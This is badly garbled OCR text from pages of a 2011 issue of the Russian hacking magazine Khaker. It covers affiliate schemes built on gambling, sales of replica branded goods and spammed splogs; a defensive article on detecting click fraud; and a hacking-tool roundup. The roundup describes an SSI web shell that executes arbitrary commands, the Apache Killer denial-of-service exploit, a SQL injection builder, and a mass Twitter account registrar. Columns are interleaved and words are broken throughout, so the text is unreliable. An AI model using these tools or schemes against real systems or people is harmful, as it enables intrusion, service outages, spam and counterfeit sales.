сутствует привязка к опре д еленном у направлению, а зто дает тебе

гораздо боль ш е возможностей д ля заработка .

МЕТОДЫ ДОБЫЧИ ТРАФИКА Сплоги

Дорвеи на фрихостинга х

С плоги можно не только ис п оль­

Все то же самое, как и в случае

зо в ать как трамплины, но еще и

с дорвея ми под адалт, однако в

монетизировать при помощи Р Р С.

данном случае перенаправление

Как и в случае с сайтом, в е ш ай на

осуществляется при помощи

с пл ог фид и получай профит.

фи да или редиректа на паблик­

фи д !страница с объя в ленияСайты

ми, имеющая заточенный под

Тут все п росто: настраивае ш ь ин ­

о п ре де л е н ную тема тику д изайн).

терфейс фи да под д изай н с в ое го сайта и в е ш ае ш ь н а все видим ы е

Профили

места. Дл я улуч ш е н ия кликабель­

Так же как и в сл учае с дорами,

н ости лу чш е испо ль зова т ь т е

д елаем п еренаправление при по­

зо н ы ресурса, гд е распола гае т ся

мо щ и фида. Все остальное - по

навига ц ионное меню.

аналогии с профилями под фарму.

СРАВНЕНИЕПАРТМЕРОК Bidtгaffic.com

Click9.com

2008

Рейт/комиссия веб - мастера

70 - 95%

70 %

70%

80%

80%

75%

Минимальная выплата

$40

$50

$100

$50

$50

$10

Метод оплаты веб-мастерам

ePasspoгte ,

Epese, Webmoney,

W i гe ,

PayPal,

Webmoney, Wire, PayPal

StoгmPay,

Wiгe

Webmoney, ePassporte, EPESE, PayPal, Wire

ePassporte, PayPa l, StormPay, EPESE, Visa, MasteгCard, Western Union, PayPal, Wire, Liberty Reserve, WebMoney

ХАКЕР

ePassporte, Westeгn Uni on, WebMoney

2009

год

Bizzclick.com

г од

2009

год

Thegreenppc.com

2004

2005

год

Daoclick.com

Начало работы

EPESE, WebMoney

год

Peakclick.com

2009

год

071

12/155/2 011

www.epidemz.net


взлом

••••• ••••• •••••

Прибыльность :

ГЭМ&ЛИНГ

Легкость в освоении:

Затратность:

МЕТОДЫ ДОБЫЧИ ТРАФИКА

Суть работы в этом сегменте также кроется в

названии . Гэмблинг в переводе с английского означает << азартная игра». Партнерские про­

С айты

Блоги

граммы предлагают широкий выбор игр: ру ­

Трафик привпекается через сайт под

Создаешь и продвигаешь благ, где опи­

летка, покер, ставки на спорт и другие. Самой

определенную игру (покер, рулетку,

сываешь свою страте г ию игры и то, как

большой популярностью пользуется, конечно

блэкджек и т. д . ). Можно также создать

ты чудесно на ней зарабатываешь. Или

же , покер. Множество историй о легких день­

информационный ресурс для публикации

делаешь благ, посвященный заработку в

гах. связанных с этой игрой, делает свое дело.

новостей и обзоров онлайн-каэино, советов

интернете. а затем с помощью этого блага

Твоя задача. как обычно, сводится к тому,

начинающим, описаний игровой стратегии

приводишь на партнерку желающих быстро

чтобы привести платежеспособного клиента и

и т. д. Если у тебя есть сайты развлека­

обогатиться.

получить свою долю. Обычно партнерские про­

тельной тематики, на них можно вывесить

граммы платят процент от прибыли (20-45%)

промо-материалы. Это самый затратный и

Дорвеи н а фри хос т ингах и профили

или фиксированную сумму за клиента.

длительный способ .

Все так же, как и в других описанных нишах.

СРАВНЕНИЕ ПАРУНЕРОК Uffiliates.com год

Affactive.com год

2008

2004

Ре й т/комиссия неб-мастера

25-40%

30-45%

от прибыли

от прибыли

20-35% от прибыли $70-225 за клиента

онлайн-казино.

онлайн-казино

Pokeгstarspartneгs . com

AffC iub.com

год

Н ачало работы

Направления

2009

Fu lltiltpoker.com

2007 или

ГОД

2007

год

25-40% от прибыли или $50-150 за клиента

20-30% от прибыли $75-150 за клиента

покер

онлайн-казино, покер

покер

MoneyBookeгs, Netelleг, Wiгe, Check.

Netelleг, Visa. MasteгCaгd , Maestгo, EntгoPay. Paysafecard,

Click2Pay, ClickandBuy,

lnstant eChecks.

Webmoney

Webmoney

Solo, Visa Delta, Visa Electгon, WebMoney,

или

покер, ставки на спорт

Метод оплаты неб-мастерам

MoneyBookeгs, Netelleг, Wiгe,

Check

EntгoPay, Maestгo, MoneyBookeгs, Netelleг, Wiгe

Moneybookeгs,

ClickandBuy, Visa, Netelleг, Wiгe, Check, WеЬМопеу, EntгoPay

ХАКЕР

072

www.epidemz.net

12/155/ 201 1


Деньги не пахнут

ПРОДАЖАТОВАРОВ Работа в этом 'сегме нте заключается в про­

••••• ••••• •••••

Прибыльность: Легкость в освоении: Затратность:

МЕТОДЫ ДОБЫЧИ ТРАФИКА

даже широкого спектра товар о в, от одежды

до бытовой техники. О роливеб-мастера в

Шопы

Сплоги

этом деле ты, конечно же, догадался. Как

Обычно nартнерские nрограммы nредостав­

Делаем автонаполняемые блоги, используя в

обычно, ты должен привести покупателя в

ляют сnе циальные скрипты для создания

качестве контента

партнерский шоп. Твой интерес - комиссия в

полноценного интернет-магазина. Тебе, как и

предоставляемыми партнерско й программой .

XML с

описаниями товаров,

виде процента от стоимости заказа. Процент

в случае с аптекой, необходимо хорошенько

Хорошенько проспамливаем приготовленные

зависит от того, какие товары ты продаешь.

<< уникализирова ть >> свой магазин : порабо­

сплоги и через некоторое время ловим трафик.

Если торгуешь копиями известных брендов

тать с текстом и мета-тегами. Продв ига ть

!так называемыми репликами!, то процент

товарный шоп в поис ковиках в разы легче и

Дорвеи на фрихостингах и профили

отчислений в разы выше, чем от продажи

дешевле, чем аптеку, но влож иться в хоро ­

Эти ме тоды работают так же, как и в др угих

оригинальных товаров .

шую ссылочную массу все равно пр идетс я.

нишах.

СРАВНЕНИЕ

ПАРУНЕРОК Glavtoгg.com

год

Начало работы

2010

Товары

сумки и обувь извест­

ных брен дов !копии!

Stimui-Cash.com

Affiliate-pгogгam . Amazon . com

201 о

1996

год

ГОД

Kings Pгofit . com

2010

го д

сумки и обувь известных

откнигдобытовой т ехники

часы !копии!

брендов !копии!

Рейт/комиссия веб-мастера

25- 35%

25%

4- 8%

25%

Метод оплаты веб-мастерам

Webmoney, Epass, PayPal, Wiгe

Webmoney, Epass, PayPal, Wire, ePesee, Moneybookeгs

Check

Webmoney,

Минимальнаявыплата

$100

$50

$10

$100

Халд/задержка выплат

одна неделя

одна неделя

один месяц

две недели

Тип регистрации

по инвайтам

свобо д ная

свободная

по инвайтам

ХАКЕР

Wiгe

073

12/155/2011

www.epidemz.net


www.epidemz.net


JAVASCRIPT

BetterPrlvacy 1.66 и~··· More j" Preferences Download Manager ТWeak 0.9.5 ~ j ~ Preferences j 8 Disable • - Remove

Alows ...

FlashЬiock

Appearance

1.5.15.1

Repla...

Plugins

О

41)

www.epidemz.net

NoScnPt WJB Ье updar.ed atter уоо res(Зft F1retox.

NoScrlpt 2.1.2.5rc1 E><Ira ... моrе ~ences

1


www.epidemz.net


www.epidemz.net


. ВЗЛОМ

Александр

life4u Фapoнoв la. e . faro n ov lagm ail . co m l

головная боль AdSense МОШЕННИЧЕСКИЕ КЛИКИ В РЕКЛАМНОМ БИЗНЕСЕ Объем рекламного рынка в интернете на данный

•www.qoogle.com/

Кликфрод [от ан гл . click f г aud - мошенническое нажатие)- это

~ -Google

вид сетевого мошенничества, основанный на обманны х [ л ож ­

момент составляет около

AdSeлse;

10 миллиардов

Яндекс.Директ;

в ручном режиме [злоумышленник самостоятельно , без помощи

•www.spybox.com.

п одручных с р е д ств, кл икает по рекламе), так и в ав т оматическом

долларов .

•direct.yandex.ru

Один миллиард из них

!li.- крутейший

приходится на долю

SpyBox;

антифрод-сервис

кликфрода. Что это за зверь и как от него защититься,

·~-еще

ты узнаешь из этой статьи .

[скликива н ие осущес т вляется с п омощью а в тома т изи р о в ан-

ных скри пт о е и л и пр о г рамм ) . П о заве р е н и я м суро вы х д ядек­

• www.adwatcher.c om -следим за кликами

на

ных) кликах по рекламе. Такие клики могут произв о диться к а к

Adwatcher;

один сервис по отслеживанию

а н али т ико в , д о л я м о ш е нн ических клико в со став ляет около

10-15 % от

всех к л иков на р ын ке рек л ам ы . Одн ако не в се л ожные

клики у д ается заре ги стриро в а т ь, и потому их р еа льн ая д о л я

намного больше. Кликфро д- настоящая головная боль д ля п о­ и с ковиков и отд ельных РР С-партнерок.

к ликов ;

•l!iYti.ll&r!l опенсорсная

аналити ка

Piwik; •www.qooqle. com/anaJytics/

аналитика от Гугла .

Тепер ь рассмо т рим на п ри мерах , как н акру т ка кликов

осуществляется в реальной жизни . Д опус т им, т ы вла д еешь пор­ талом по продаже с л оно в . Биз н ес н а д о п о д нимать, и ты ре ш а ­

ешь пус т ить часть свои х д охо д ов н а рекламу. Р егистрируешься в AdSeпse или Ян д екс. Д и р ект и соз д аешь об ъя в л ения таким образом , чтобы п о запросу << купить с л он а >> п оиско в ик в ы д авал ссылки н а твой магази н . Е стестве нн о, это с т оит д е н е г, п оэтому

ХАКЕР

078

www.epidemz.net

12/155/20 11


Кликфрод: головнаR боль

AdSense

10,000 9,091

8 .182 7,273 6 ,364

5.455

/

(~

~-

""u

·~

4 . ~4,

3 ,636

2 ,727

".""

B~ o ru,..,_

1,818

909

• unique Clicks 8Ciicks

... ,.. ,>O<euletYA

D ~~~·~~.· ---·

Data to display:

0

Unique clicks

SpyBox

Демо-отчет в

8 дctions

• s•les

rJ Actions EJ Sales

[iast У е~

Timeframe:

Интерфейс

[tJ Clicks

Adwatcher

ты nоnолнt~ешь свой счет на оnределенную сумму, котораR рас­

nользователи клика ют по рекламному объявлению, размещенно­

х одуете>~, если юзеры клика ют на твое объявление !один клик по

му на этом с айте] . Василий регистрирует сво й с айт в соответству­

объявлению стоит nо-разному, от $0,1 и выше] . И вроде бы все

ющей nартнерке и находит рекламодателя, кот о рый nредлагает

хорошо : nоисковик nредоставил рекламу, юзеры по ней nере­

разместить рекламное объявление на ресурсе Василия. Дальше

ходRт,- но не тут-то было! Конкуренты по торговле слонами уви­

Василий начинает сам скликивать рекламу со своего сайта !есте­

дели твои новые объt~влениR и решили основательно nодnортить

ственно , не забывая менять

т е бе рекламную камnанию. В самом nростом случае они nоручат

Это nриносит ему доход, в то время как рекламодатель nолучает

с в о им nодчиненным nросматривать все рекламные объt~влениR,

нулевой КПД от своей рекламы.

IP и nрочие nеременные окружения).

которые nоисковики выдают по заnросу << куnить слона», и кли­

кать на объявления , ведущие в твой магазин слонов . На самом

ПРИЗНАКИ КЛИКФРО

А

сайте они, конечно, ничего nокуnать не будут. Их цель- уме нь­

Наверное, nо куnая реклам у в интернете, ты теnерь начнешь

шение бюджета твоей рекламной камnании . Таким образом, nо­

оnасаться кликфрадеров и думать о том , как ж е отследить

сле нескольких дней фальшивого скликивания твой рекламный

мошеннические клики. Существует несколь к о с nособов борьбы

бюджет заметно уменьшите>~ или вообще иссt~кнет, а конкуренты

с кликфродом , но для начала давай ра сс м от р и м его основные

б уд у т nрыгать от счастья. Если у твоих конкурентов мало людей

nризнаки .

в nодчинении, они наймут nрограммиста, чтобы он наnисал ути­

1.

Если клики по рекламе были nроизведены с одно го IР-адре са,

литу для автоматического скликиваниR рекламы. Исnользование

то это должно наводить на nодозрения, что здесь что-то не так.

такой утилиты также nриведет к уменьшению твоего бюджета .

Считается, что болеедесяти кликов по рекламе с одного IР­

Естественно, такие действия являются мошенническими и не­ честными по отношению к тебе . Рассмотрим другой nример осуществления кликфрода .

решает нелегально nодзаработать на РРС-nартнерке IPay-peг­ nартнерки, которые nла тят владельцу сайта за то , что

Если nосетитель, который nерешел на твой сайт по nр о даже слонов, сразу же ушел с него , то тут возможны два варианта :

Злоумыш ленник Василий хочет заработать nобольш е денег. Он

Ciick-

это явный nризнак кликфрода .

2.

или ты отвратительно сделал сайт, или nосетитель был вовсе не заинтересован в nокуnке слона, а nросто хотел обнулить твой рекламный бю джет.

High Threat .. Heat ар l

Click ХАКЕР

079

12/155/ 2011

www.epidemz.net


. ВЗЛОМ

script.ty pe= 'text/javascript' ;

П ОЧЕМУ ПОИСКОВИКИ ЗАИНТЕРЕСОВАНЫ В БОРЬБЕ С КЛИКФРОДОМ?

if(loc al St orage.spybox) { var spybox_has h= 'a181a603769clf98ad927e7367c7aa51' ; var spybox_ session= l ocalStorage .spy box; script .src= 'http://ua.robotreplay.net/fast.js' ; }

У тебя наверняка возник логичный воnрос: зачем nоисковикам и РРС-nартнеркам бороться с кликфродом? Ведь чем больше денег

рекламодатель nотратит на рекламу, тем лучше для nоисковика / nартнерки . Оказывается, все так nросто. В

Yahoo!

году комnания

была nризнана виновной в накр утке клико в. Дело было

возбуждено конторой

Yahoo!

2007

document.get ElementsByTagName( "head" ) [ e). append Child(script); </script></noindex> После установки кода ты сможешь следить за действиями

Checkmate Strategic Group. Комnанию

обязали выnлатить штраф в размере nяти миллионов

nользователей на своем сайте, как будто на нем работает сnеци­

долларов и возместить рекламодателям все убы тки с

2004

года. В

альная видеокамера, которая все заnисывает и анализирует. До­

результате аналогичного расследования в марте

года

Google

стуnен широкий выбор функций для nросмотра отчетности : карта

обязали вернуть рекламодателям

90

2006

миллионов долларов. После

этих nрецедентов рекламные nлощадки nредnочитают честно

внимания nользова т елей сайта, карта nрокрутки страницы, карта-схема движений мыши и статистика nереходов. С nомощью

рассказывать рекламодателям о том, какие клики были совершены

всех этих функций ты сможешь с большой долей вероятности

злоумышленниками, и сразу же комnенсировать nотраченные

оnределить, что делали nосетители на твоем сайте. Очевидно,

вnустую средства.

что если с одного

IP

было совершено слишком много nереходов и

nри этом на странице не nроизводилось nочти никаких действий

[это можно оnределить с nомощью карты nрокрутки страницы, а также карты-схемы движений мыши), то тут явно не обошлось З.

Если nосетитель, который nерешел на твой сайт, не nроизводит

без злоумышленников. Приятным бонусом ко всем этим функци­

никаких действий [не двигает мышкой , не nрокручивает стра­ ницы, не кл икает по ссылкам), то туттакже естьдва варианта:

ям является nоддержка русского языка. Вnрочем, у

nосетитель-явный зомби или тут не обошлось без исnользо­

4.

SpyBox есть

и свои минусы: nродукт не расnространяется бес n латно [стоит около 1000 рублей в месяц), а фришная версия действуеттолько

вания мошеннического софта для кликфрода.

nять дней [ п о nравде говоря, чтобы оnре д ели ть , осуществлялась

Если количество nереходов на твой сайтувеличилось, а уро­

ли на сайте на крутка кликов, в некоторых с л учаях д остаточно и

вень конверсии снизился, то зтотакже может говорить о клик­

nяти дней ) .

фроде. Конверсия nоказывает действенность рекламы сайта в Сети. Вычисляется она следующим образом: берем количество

SpyBox,

либо активное действие [наnример, все-таки куnили слона),

делать, если тебе необходимо только nосмотреть статистику

и делим его на общее количество nосетителей сайта, а nотом

по кликам и, может быть, еще общую статистику по действиям?

умножаем результат на

В этом случае лучше обратиться к сервису

100. В

итоге мы nолучим nоказатель

рекламной конверсии в nроцентах.

5.

ADWATCHER

nосетителей, которые nосле захода на сайт соверш или какое­

несомненно, удобен, но довольно громоздок. Что же

Adwatcher, который SpyBox, а только

предоставляет не такие подробные отчеты, как

Отсутствие сессии в кукисах также считается nризнаком

кликфрода, nоскольк у мошеннические nрограммы обычно не исnользуют сессии.

БОРЬБА С КЛИКФРО

ОМ:

SPYBOX

Итак, мы рассмотрели основные nризна кинак рутки кликов.

КЛИКФРОД НАКАЗУЕМ!

Теnерь давай nерейдем к конкретными сnособа м борьбы с клик­

фродом . Естественно, тот nоисковик/рекламная nлощадка, где

Если твой друг Петр занимается кликфрадом и утверждает, что

ты зарегистрировался, будет nредоставлять некую абстрактную

эа скликивание ему ничего не будет, не верь этому и обязательно

статистику. Но мы рассмотрим nродукты от сторонних разработ­

nоnытайся отговорить своего друга от занятия таким грязным делом.

чиков, так как они на

Кликфрод наказуем, и еще как!

100% заинтересованы

в том , чтобы оnо­

вестить нас обо всех ложных кликах [еще бы, они ведь nолучают

В

за зто деньги) .

который вымогал у комnании

Первым в нашем сnиске антикликфрод-решений идет сервис nод названием

SpyBox.

По сути, это комnлексный сервис веб-аналитики,

2003

году был арестован nрограммист Майкл Энтони Брэдли ,

Google 150 тысяч

долларов. Майкл

заявил, что создал nрограмму, которая может nереходить по

рекламным объявлениям, и разместит ее под названием

Google

который nоможет тебе увеличить количество nродаж, скорректиро­

Clique

вать nоведение nосе т ителей, nовысить эффективность рек л ам н ых

требуемую сумму. Естественно,

камnаний, а также с д елать то, что больше всего нас интересует,

быстро состряnала дело на Майкла. Впрочем, незадачливому

в интернете, если великая комnания

Google

Google

не даст ему

это не nонравилось, и она

-выявить мошеннические действия на сайте. Работает сервис

кликфрадеру nовезло, так как заведенное на не го д ело н еожиданно

достаточно nросто: ты регистрируешься в нем и nолучаешь сnеци­

закрыли. Другой инцидент, связанный с кликфродом, nроизошел

альный отслеживающий НТМL-код, который необходимо установить

в

на нужной тебе странице nеред тегом </body>. Код имеет nримерно следующий вид [в каждом конкретном случае он будет немного о тличаться):

Мелани Сьюэн и Эрика Лама в мошенничестве, совершенном

2009

году. Корпорация

Microsoft

обвинила неких Гордона Лама,

nутем накрутки кликов внутри рекламной платформы

Microsoft.

750 тысяч

долларов.

Наненсенный при этом ущерб был оценен в

За кликфрод все-таки можно получить по голове. И хотя в нашей

<noin dex> <script type= 'text/javascript' > var script =document. create El ement( 'script' );

стране кликфрадеров еще ни разу не арестовывали, помни, что это может случиться в любой момент.

ХАКЕР

080

www.epidemz.net

12/155/2011


Кликфрод : головная боль

Campaign

Нате:

AdSense

[x akep А

camp aign n.ame is us~ to identify this particular ad in your reports. ihe l~ngth

nam e is limited in

to 32

chaпct l! rS

ilnd numbers. For vcamplt!, an ild

in "Bob' s Mont hly Ne\vslette r'' could bl! named "Bobs Ne\vs",

Q.ulc:kNo~viptlon

Welcome to AdWatcher

> newco~mplicn

Welcome Demo. Today you

h~Ve

OashЬoard

recefved: 110 clkks,

О

actions,

мd Oиles.

> oveMew reporb >nlturo~treports

1Google AdWords

Search Engine:

Ш1cking

link '1\ith.

L:t"= est "'------------'-т -'-' :: Create Grouo

Group:

AdW.atch e г

tha t you

com pare and contrast ho\v each group parfo rms

оп

'Т~tiiCim~lls"• =

> fro~udreports

Hul N1ntr1l Clm~•·;n• •

(12) Cliclui : (2) A.ctions :

7ot11Frludll.•porт.s •

{45) SJI•••

;.!\~. 9.~! .Q!fiC)~ ~!!IJ. Q~!d.ll!

al lo\vs you to organi ze your cam piligns in diffe rent gгou p s, so

Cil n

OctoЬer

General lnformat ion

> financio~lrepo•ts

Selec t the sea rch eng:ine t hat you plan to use t his

its

Stat istics: (7676]

J•J [О]

Сон:

(6312.28 ] (0.00]

Pтolit:

{·6312.28] {·100]

.I?!P..~!!~~'!C:.~!'!'~!~t-.11.

О\\'П. 1/Ja

highly recommend that you use t his fe ature , as it will help you get the most

Базовый демо-интерефейс

Adwatcher

out or th e s t a tistics and reports in the lo ng run. If you do not curre.ntly h011ve: iiПY Ьу

group s created, or "ish to creJte

а

differen t group, you c•n Si!t one up

c:licking on "C rei te Group", The group you set up \\;11 iutomiticilly

19

Посещения

36

Просмотры страниц

ippeir in t he drop·do\vn menu \\'hti!n yo u itl! c rtta ting yo ur next campaign.

Landing Page: If you Ciln nat .ие рlеаи

sше

make

tЬе ~nding

that your

Page Field or receive а distribution error

Ьrowser tц.s

Jav•Script

t...A..NLJIA _А_

Enter the URL of the \\'еЬ page you want to send your visitors to aft:er clicki ng

оп

t he idv&rtisement. This la nding paga а

homepage or

68,42 "!о Покаэатель отказов

~bled .

сап

00:03:18

Средн . длительность пребывания на са йте

either Ь е your

spa cial pigtt you have Sti!t up speciAca11y for thos e visitors.

Vou miy en ter multiple landing pages and th e percentage of traffi c you wish to sent to each one of them to te.st \\'hi ch one converts better to sales or

Красным подчеркнуты особо важные пока зате ли, на которые следует обратить внимание в Google Analytics

actions. S ee ouffeatures page for more details.

ХАЛЯВНЫЕ РЕШЕНИЯ ~У Per Click

Cost Туре :

GJ

Select the type of t he campiign; th at is, \\lhether it's Гite ,

fee. mon t hly

Е сли твой бю д жет не рассчитан на от с леживание кликфрода , т о а Р•у

Per Cli ck, Aat

e tc. This selection is needed for eilcul•ting your future

могу предложить тебе воспользоваться бесплат ными сервисами

аналитики: Google Analyti cs и Piwik [последний представляет собой навороченное опен с ор с ное РНР-приложение, которое

expenses.

ты легко сможешь у с т а новить на свой хост). Они , ко н е чн о, не Создаем кампанию по отслеживани ю сайта

выявят кликфрод , но помогут тебе состав и ть примерн у ю к артин у

xakep.ru

происходящего. Тут есть один трюк: нужно установить а н алитик у от Гугла на свой сайт, подождать н е д ельку, а потом взглянуть на

с амые необходимые сведения . Он также позволяет просмотреть

отчеты . Если они покажут, что на сайт захо д ит мно г о посетите­

б е с платный демо-отчет по соотношению уникальных клико в

лей, но среднее время и х пребывания на сайте слишком мало

[у ни к альны х

примерно одинаковы, то это говорит о том, что посетители , за­

[меньше 40 секунд , х отя эта цифра различается для разных сайтов), то вполне вероятно, что кликфрод действительно имеет

х одившие на твой сайт, не совершали поч ти никаких действий).

место.

IP) и общего количества кликов [кстати , если они

Более п о дро бн ы й отчет [по д ействиям п о ль зователей) д ос т упе н в 3D-дневной триальной версии. Интересно, что сервис также

Су щ ествует еще и так называемый << деревен с киЙ >> м е тод борьбы с кликфродом. Суть этого метода заключается в том, что

предоставляет так называемые отчеты fгaud герогts , которые на ­

на рекламной площадке ты просто выставляешь маленькую цену

ц е л е ны к ак раз на выявление кликфрода. Чтобы сгенерить такой

за клик по твоему объявлению. Это поможет тебе избавиться

отчет, необ х одимо с оздать новую кампанию по отслеживанию

от мошенников типа Василия, о котором мы говорили в начале

к ликфрода, задать некоторые ее параметры [название проекта, метод отслеживания) и вставить в соответствующую страни ц у

статьи , - ведь им просто будет невыгодно склики ват ь рекламу

пр иведен ный ниже код:

небольшой цене за клик количество п о купателей твоей рекламы

<script language= "javascript" type= "text / javascript" >

денег на рекламу и ты по счастливому стечению обстоятельств

со своих сайтов . Конечно, этот способ имеет и свои минусы- при

может резко сократиться . Впрочем, если тебе не жалко никаких владеешь миллионами , то можешь забыть про этот метод .

document.write( ' <i mg src= " http: // sB.adwatcher . net / demovЗ / tracker. php?t='+ id[l]+'&ref='+r+'&land='+l+'" style="border : epx; width : lpx;height:lpx;" /> ' ); </ script>

ЗАКЛЮЧЕНИЕ С кликфра д ерами бороться не просто , ведь о ни постоянно со в ер ­

шенствуют свои методы скликивания [хотя не перевелись е щ е

личности, которые делают все ручками) . Д ля защиты от таких мошенников поисковые системы и другие площадки предостав­

После этихнехитрых манипуляций кампания заработает,

ляют конечному пользователю достаточно мощные средства ана­

литики, с помощью которых можно пресекать любой кликфрод

и ты сможешь просматривать отчеты по на крутке кликов на

своих стра ниц ах. П олна я версия Adwatche г обой д ется тебе в

30

мертвых америка н ских пр ези д ентов в месяц. П ом ни , что если

на корню. Коне чн о, все мошен нич еские клики не а т с л е д и шь и всех злоумы шл енников не поймаешь, н о с п омощью сер висов,

ты не знаешь английский язык или, на худ ой конец, не умеешь

рассмотренных в статье , ты вполне сможешь отловить бо льш ую

пользоваться злементарным переводчиком, то лучше забить на

часть кликфрадеров и предоставить рекламной площадке отчет

Adwatcheг и воспользоваться

об и х действиях, чтобы вернуть свои кровные:). I

ХАКЕР

SpyBox.

081

12/155/2 011

www.epidemz.net


взлом

Mar licq 884888, http://snipper.rul

СОФТ ДЛЯ ВЗЛОМА И АНАЛИЗА БЕЗОПАСНОСТИ

amw..

Автор:

BECHED

MaxArtemev

Zdez Bil Уа

URL: ~

URL:

·-·--

II HИOII. I.I!O.If

......... __

URL:

..............

bit ly/n1Xs3V

t-.ol ...o I.IIO::OIL:I:O.tt nи--

Dм-•1Лt.1

I...,...W IOI0101l,IIO!<tl1 О..м

Автор:

. ..........

Автор:

bjt lyjqLkZuZ

Система:

Система:

Система:

*ni x/win

Windows 2000/ Х Р/2003 Server/ Vista/2008 Server/7

Windows 2000/ Х Р/2003 Server/ Vista/2008 Server/7

--------·---

о.-----

ё.~=СИСТЕМНЫй ..____ _ _....,

ПРОКСИФИКАТОР

WIDECAP

Думаю, тынередко сталкиеалея с тем , что после

WideCap- это

заливки любого из известных РНР-шеллов на

проксификатор, предназначенная для орга­

значена для автоматической регистрации ак­

нужный сайт команды ОС выполнять было не­

ни з ации ТСР/IР-туннеля через прокси-сервер

каунтов в Твиттере. Реггер может пригодиться

возможно . Таким образом , ты не мог сделать с

или цепочку прокси-серверов . На низком

в случае, если тебе вдруг понадобится соз дать

сервером ничего полезного. Рутовые зксплойты,

уровне прога является полноф ункциональ ным

сотни фолловеров и быстро распространить

бэк-коннект и прочие необходимые в таких случа­

виртуальным сетевым драйвером и поставщи­

свой твит по интернету. Вот небольшой список

ях вещи просто-напросто нельзя было запустить .

ком услу г разрешения имен системы Wiпsock .

того, что прога умеет д е лать :

Зачастую единственная возможность работы с

Поддер жи вают ся все наиболее распростра­

командной с трокой заключается в том, чтобы

ненные типы прокси: 50CK5v4, 50CK5v5, НТТР/

заливать и запускать шеллы на Питоне, Перл е

НТТР5.

и других языках. Однако и она далеко не всегда представляется взломщику. Как быть в таких

с лучаях? Очень просто! Если ты слышал о

культовая тулза­

Как видно и з названия, эта утилита предна­

1.

прокси, адреса исключений , кэш

должен знать, что эта технология позволяет вос­

рость сети, лимитпотрафику и многое другое .

пользоваться замечательной директивой #ехес

2.

Все предыдущие решения для выполнения

команд через эту директиву были сделаны на

стоположение>>, << Сайr>>, << О себе»!;

Гибкая система правил . Можно настраивать абсолютно все : индивидуальные цепочки

551

фолловитьуказанныйаккаун~

заполнять некоторые поля в профайле [<< Ме­

Особенности и преимущества программы:

[sегvег side iпcludesl во всеми любимом Апаче, то

cmd.

регистрировать аккаунт [без подтверждения по e-maill;

загружать аватар [из папки avataгsl ;

записывать и выводить подробный лог работы.

DN5, ско­

работать через прокси;

Встроенный прок с и-чекер , который рас­ познаеттиппрокси .

Единственным, но не слишком существен­

Импорт прокси. Можно загружать с писки

ным недостатком проги является необ ходи­

коленке и не обладали удобным интерфейсом.

проксиковизфайловилидокументовв

мость ввода капчи. Впрочем , капчана Т витте­

Поэтому спешу представить тебе долгожданный

интернете, также присутствует поддержка

ре не такая уж мудреная, так что на скорость

и вполне качественный 551-шелл, позволяющий

регулярок.

регистрации она мало влияет.

с удобством обходить досадные ограничения

3.

4.

Журналированиетрафика.

РНР. Шелл имеет всю привычную функциональ­ ность и кроме этого реализует:

Имена для аккаунтов ты можешь положить в соседний с экзешником файл пame.txt . Все

Надеюсь, тебе не нужно объяснять, зачем

зарегистрированные аккаунты добавляются

просмотр произвольных файлов;

WideCap может пенадобиться тру-хакеру :1. Сам

в файл accouпts.txt. Для корректной загрузки

551-инклуд произвольных файлов;

автор указывает следующие причины: обеспе­

аватара путь к программе не должен содер­

выполнение произвольных команд ОС;

чение безопасности твоего компьютера, доступ

жать русских букв, а поле <<Сай т >> обязательно

беспалевную передачу команд через заголо­

к ресурсам , закрытым корпоративным шлюзом,

должно быть заполнено. Ещ е одна приятная

вок НТТР_ СООКIЕ;

анонимный серфинг в Сети, дешевый трафик

особенность этой утилиты состоит в том , что

работу через Java5cгipt.

через туннель интернет-провайдера и т.д .

она является опенсорсной.

ХАКЕР

082

www.epidemz.net

12/155/2011


X-Tools

Автор:

А АПАЧА

54luR4 URL: Ьil

lylpxtMKi

ALANA

K!LLЗR

Если ты внимательно следишь за багтраком,

killapache.pl

то наверняка наслышан об оnаснейшей уязви­

nервоначальный пруф-оф-концепт не был

Apache l bit.ly/гgvHB i ),

Система:

мости в НТТР-сервере

'nix/win

основанной на фиче, которая позволяет

добавил в код множество ба го в для защиты

докачивать nрерванные закачки. С nомощью

от скрипткиддисов. S4luR4 переписал на

этого бага злоумышленник может легко и

РНР + cURL этот изначально созданный на

работоспособным, так как автор сnециально

неnринужденно вызвать отказ в обслужива­

Регl сценарий, добавил агрессивный режим

нии, заняв всю достуnную память, nричем для

и тестовую часть для nоиска ба го в в статиче­

атаки достаточно всего лишь одной машины с

ском контенте сайта !картинки, текст, офисные файлы и т. д .).

генерацией минимального трафикаt

Утилита Аlапа K!LLЗR от известного кодера

~

_

..

_....

Схема работы зксплойта достаточно проста:

S4luR4 nредставляет собой связку тестера

после запуска он начинает отсылать множе­

и зксnлойта для вышеуказанной уязвимо-

ственные хаотичные GЕТ-запросы с указа­

сти. Оnисание ба га достуnно в Сети, nоэтому

нием разных диапазонов байт lbyte гапgеs) в

пере йдем сразу к нашему убийце Аnача.

заголовках, тем самым неn рерывно отъедая

Итак, сам зксnлойт основан на РоС

.ei'O-----. ...__....,,....

от не коего Kiпgcope. Однако

Автор:

Автор:

Gremwell

Danijel

системную nамять.

Автор: Маха

MaXoNe

VaZoNeZ

а-.

·-----·--

URL:

URL:

www gremwell com

Ьit

1-~~==:~

Система:

Система:

•nix/win

Windows 2000/ ХР/2003 Server/ Vista/2008 Server/7

-

·.........

---

ly/orsgKn

URL:

-- --

· -t~

yazonez com/(;lage/ .llig.an.Q Система : Windows 2000/ХР/2003 Server/ Vista/2008 Server/7

Приходилось ли тебе когда-нибудь терять

Если ты ненави дишь вручную вводить одно­

Е сли ты знаком с nонятием компьютерной

время, nытаясь найти в беспорядочной куче

образные инструкции в строку браузера/

стеганографи и, то наверняка должен знать и

текстовы х файлов, к примеру, результаты ска­

nоле/НТТР-заголов ки/кукисы nри внедрении

о хакереком методе nолучения сносок и ука­

нирования пmар? Или греnая множество фай­

SQL-кoдa, то на nомощь тебе придет утилита

зателей, который основан на использовании

лов по определенномухосту или сервису? Если

MaxSQLi

да, то советую тебе в следую щий раз попробо­

составления ядовитых SQL-запросов. Она

тод реализуется, например, когда в текстовых

вать замечательную ути литу MagicTгee. Про га

сильно облегчит работу как в случае обычных

и графических файлах nишут черным шрифтом

nредставляет собой nродвинутый инструмент

уязвимастей тиnа

на черном фоне. Примерно по такому же nрин­

для nовышения продуктивности пентеста.

ций тиnа еггог

циnу работает и nрограмма Stegaпo, которая

Она умеет консолидировать данные и запросы

ности проги:

из различных пентестерских утилит IWЗAF, Acuпetix, OpeпVAS,

Nessus, Вuгр, пmар и т. д .),

Syпtax Buildeг, nредназначенная для

